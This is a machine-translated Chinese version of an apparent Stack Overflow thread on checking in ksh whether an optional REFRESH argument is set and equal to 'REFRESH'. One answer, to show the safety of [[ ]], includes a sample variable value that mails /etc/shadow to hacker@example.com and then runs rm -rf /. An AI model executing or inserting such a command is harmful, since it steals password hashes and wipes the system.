我有一个用户输入的脚本,REFRESH选项是可选的。我需要测试$ REFRESH是否存在并且等于字符串“REFRESH”,如果它然后运行特定的代码块。
用户将执行
./export_data.sh <user> <type> [REFRESH]
如果我在PHP中这样做,我会简单地使用isset()函数,在ksh中是否存在等价?
我已经尝试了以下但是这次失败,因为在第二次测试中没有设置$ REFRESH:
if [ -n $REFRESH ] && [ $REFRESH == "REFRESH" ]
then
echo "variable is set and the expected value";
# do stuff
fi
我能想到的另一种方法是嵌套if但是这看起来很混乱:
if [ -n $REFRESH ]
then
if [ $REFRESH == "REFRESH" ]
then
echo "variable is set and the expected value";
# do stuff
fi
有更好的方法吗?
答案 0 :(得分:7)
if [ "${REFRESH:-unset}" = "REFRESH" ]
then ...
如果unset
中没有值或者值为空字符串,则替换$REFRESH
。无论哪种方式,它都与“REFRESH”不同,因此它的行为符合要求。
测试变量时,用双引号括起来;它可以减轻焦虑。事实上,这意味着你可以简单地写:
if [ "$REFRESH" = "REFRESH" ]
then ...
答案 1 :(得分:3)
我会对Jonathan的回复发表评论,但我在这里过于陌生,不值得信任。
无论如何,如果你想在ksh中保存自己的焦虑,永远不要使用传统的Bourne shell []。相反,请使用[[]]。
if [[ $REFRESH == REFRESH ]]; then
这将始终评估您想要的方式。即使以下任何一个发生在if语句之前。
REFRESH=''
REFRESH=' REFRESH'
REFRESH='`mailx -s "good stuff" hacker@example.com < /etc/shadow`; sleep 5; rm -rf /`'
要注意的是,如果它是一个变量或一个字符串,除了一个简单的字符串比较之外,它可以被评估。考虑这些:
$ val='@(foo|REFRESH)'
$ REFRESH=REFRESH; [[ $REFRESH == $val ]] && echo match
match
$ REFRESH=foo; [[ $REFRESH == $val ]] && echo match
match
$ REFRESH=REFRESH; [[ $REFRESH == "$val" ]] && echo match
$ REFRESH=' REFRESH'; [[ $REFRESH == REFRESH ]] && echo match
$
在这里,我们看到引用RHS比使用[[]]时引用LHS更重要。此外,这表明[[]]允许使用模式和模式列表进行更强大的匹配。
答案 2 :(得分:1)
回答这个具体问题:
如果我在PHP中执行此操作,我只需使用isset()函数,ksh中是否存在等效项?
if [ "${REFRESH:-unset}" != unset ]
答案 3 :(得分:0)
顺便说一下,在我看来,测试变量是否设置的最佳方法(因为这是最简单的方法)是:
if [ "$PIPPO" ] ; then
echo "Set"
fi
OR
if [ ! "$PIPPO" ] ; then
echo "Not Set"
fi